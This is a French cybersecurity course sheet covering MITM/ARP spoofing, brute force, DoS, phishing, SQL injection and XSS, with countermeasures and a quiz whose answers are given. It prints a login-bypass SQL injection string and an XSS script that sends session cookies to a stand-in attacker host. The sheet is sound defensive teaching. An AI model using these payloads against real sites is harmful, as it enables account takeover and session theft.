← Retour au portail

Fiche 6 - Attaques courantes — MITM, bruteforce, DoS, phishing

Comprendre les principales attaques réseau et système : MITM, bruteforce, déni de service, phishing et injection SQL.

Intermédiaire — SISR 2ème année ⏱️ 20 min 📁 Cybersécurité

🎯 Objectifs de la fiche

  1. Classification des attaques — Actives vs passives, internes vs externes
  2. Attaques réseau (MITM, ARP spoofing) — Interception, empoisonnement ARP
  3. Attaques par force brute — Bruteforce, dictionnaire, protection
  4. Déni de service (DoS / DDoS) — SYN flood, amplification, protection
  5. Attaques applicatives — Phishing, injection SQL, XSS

Prérequis

Connaître les protocoles réseau (TCP/IP, ARP, HTTP). Notions sur les services web. Cette fiche est théorique — à des fins de compréhension et de défense uniquement.

⛔ Les techniques décrites dans cette fiche sont présentées à des fins pédagogiques pour comprendre comment se défendre. Tenter de mener ces attaques sur des systèmes sans autorisation est illégal (article 323-1 du Code pénal).

1. Classification des attaques

CatégorieDescriptionExemples
Attaque passiveÉcoute sans modifier — difficile à détecterSniffing réseau, écoute WiFi
Attaque activeModification ou injection — laisse des tracesMITM, bruteforce, injection SQL
Attaque interneDepuis l'intérieur du réseau (employé malveillant)Vol de données, pivot
Attaque externeDepuis Internet ou un réseau non fiableScan de ports, exploitation de services
Attaque cibléeVise une organisation spécifiqueAPT (Advanced Persistent Threat)
Attaque opportunisteExploite des vulnérabilités connues au hasardRansomware, botnet

2. MITM — Man-In-The-Middle

L'attaque MITM consiste pour un attaquant à se positionner entre deux parties qui communiquent, sans qu'elles s'en aperçoivent. Il peut lire, modifier ou injecter des données dans les échanges.

2.1 ARP Spoofing

Principe :
1. L'attaquant envoie de faux paquets ARP sur le réseau local
2. Il se fait passer pour la passerelle auprès des victimes
   (Victim : 192.168.1.1 est à MA-MAC)
3. Il se fait passer pour les victimes auprès de la passerelle
4. Tout le trafic passe par sa machine → interception

Contre-mesures :
- ARP statique sur les machines critiques
- DAI (Dynamic ARP Inspection) sur les switches managés
- Chiffrement (HTTPS, SSH) — même intercepté, le trafic reste illisible
- Détection : Wireshark (arp.duplicate-address-detected)

3. Attaques par force brute

TypeDescriptionCibles typiques
Bruteforce purTester toutes les combinaisons possiblesPIN 4 chiffres, hash MD5 court
DictionnaireTester des mots de passe courants depuis une listeSSH, FTP, services web
Credential stuffingRéutiliser des identifiants volés sur d'autres servicesComptes web, VPN
Rainbow tableTables précalculées de hashs — accélérer le cassage de hashHash de mots de passe volés
Protection contre le bruteforce :
✅ Fail2ban (bloquer automatiquement les IPs après N échecs)
✅ Changer les ports par défaut (SSH sur 2222 au lieu de 22)
✅ Authentification par clé SSH uniquement (désactiver les mots de passe)
✅ MFA (Multi-Factor Authentication) — même si le mot de passe est trouvé
✅ Mots de passe longs et complexes (> 16 caractères)
✅ Rate limiting sur les API et formulaires de login

4. Déni de service (DoS / DDoS)

TypeTechniqueProtection
SYN FloodEnvoyer des milliers de SYN sans compléter le handshake — épuise la table de connexionsSYN cookies, rate limiting
UDP FloodSaturer la bande passante avec des paquets UDPPare-feu, filtrage upstream
Amplification DNSUtiliser des serveurs DNS ouverts pour amplifier le trafic vers la cibleDésactiver les serveurs DNS ouverts
HTTP FloodEnvoyer des milliers de requêtes HTTP légitimesWAF, CDN, rate limiting
DDoSAttaque distribuée depuis des milliers de machines (botnet)CDN, anti-DDoS upstream (OVH, Cloudflare)
ℹ️ La protection sysctl contre le SYN flood vue dans la fiche hardening (net.ipv4.tcp_syncookies = 1) active les SYN cookies — le serveur peut traiter les connexions légitimes même sous attaque SYN flood.

5. Attaques applicatives

5.1 Phishing

Le phishing consiste à piéger un utilisateur via un email ou un site frauduleux imitant un service légitime, pour voler ses identifiants ou données personnelles.

Indicateur de phishingVérification
URL suspecteVérifier le domaine exact (micr0soft.com ≠ microsoft.com)
Urgence artificielleLes vraies entreprises n'exigent pas de cliquer immédiatement
Expéditeur douteuxVérifier l'adresse email complète (pas seulement le nom affiché)
Fautes d'orthographeLes grands services soignent leur communication
Pièce jointe inattendueNe jamais ouvrir une PJ non sollicitée

5.2 Injection SQL

Principe : injecter du code SQL dans un champ de saisie non protégé

Formulaire de login :
Login    : admin
Password : ' OR '1'='1

Requête résultante :
SELECT * FROM users WHERE login='admin' AND password='' OR '1'='1'
→ Retourne tous les utilisateurs → connexion réussie sans mot de passe !

Protection :
✅ Requêtes préparées (paramétrisées) — JAMAIS concaténer du SQL
✅ ORM (Doctrine, SQLAlchemy, Eloquent)
✅ Principe du moindre privilège sur le compte BDD
✅ WAF (Web Application Firewall)

5.3 XSS — Cross-Site Scripting

Principe : injecter du JavaScript malveillant dans une page web
pour qu'il s'exécute dans le navigateur d'autres utilisateurs

Exemple : dans un champ commentaire :
<script>document.location='https://attaquant.com/steal?c='+document.cookie</script>

Si le site n'échappe pas le HTML → le cookie de session est volé

Protection :
✅ Échapper tous les sorties HTML (htmlspecialchars en PHP)
✅ Content-Security-Policy (CSP) dans les en-têtes HTTP
✅ HttpOnly et Secure sur les cookies
Qu'est-ce qu'une attaque MITM ?
  • Une attaque par force brute sur les mots de passe
  • Un attaquant qui s'interpose entre deux parties communicantes pour intercepter/modifier les échanges
  • Une attaque qui sature un serveur de requêtes
  • Une injection de code SQL malveillant

✅ Réponse : Un attaquant qui s'interpose entre deux parties communicantes pour intercepter/modifier les échanges

Quel protocole est exploité lors d'une attaque ARP Spoofing ?
  • TCP
  • IP
  • ARP
  • DNS

✅ Réponse : ARP

Quelle protection empêche le bruteforce SSH en bloquant les IPs après N échecs ?
  • UFW
  • Fail2ban
  • iptables
  • sysctl

✅ Réponse : Fail2ban

Quelle est la meilleure protection contre les injections SQL ?
  • Filtrer les caractères spéciaux avec str_replace
  • Utiliser des requêtes préparées (paramétrisées)
  • Changer le nom de la table de la base de données
  • Limiter la longueur des champs

✅ Réponse : Utiliser des requêtes préparées (paramétrisées)

Que fait le paramètre sysctl net.ipv4.tcp_syncookies = 1 ?
  • Active le chiffrement TCP
  • Désactive les connexions UDP
  • Protège contre les attaques SYN flood via les SYN cookies
  • Active le routage IP

✅ Réponse : Protège contre les attaques SYN flood via les SYN cookies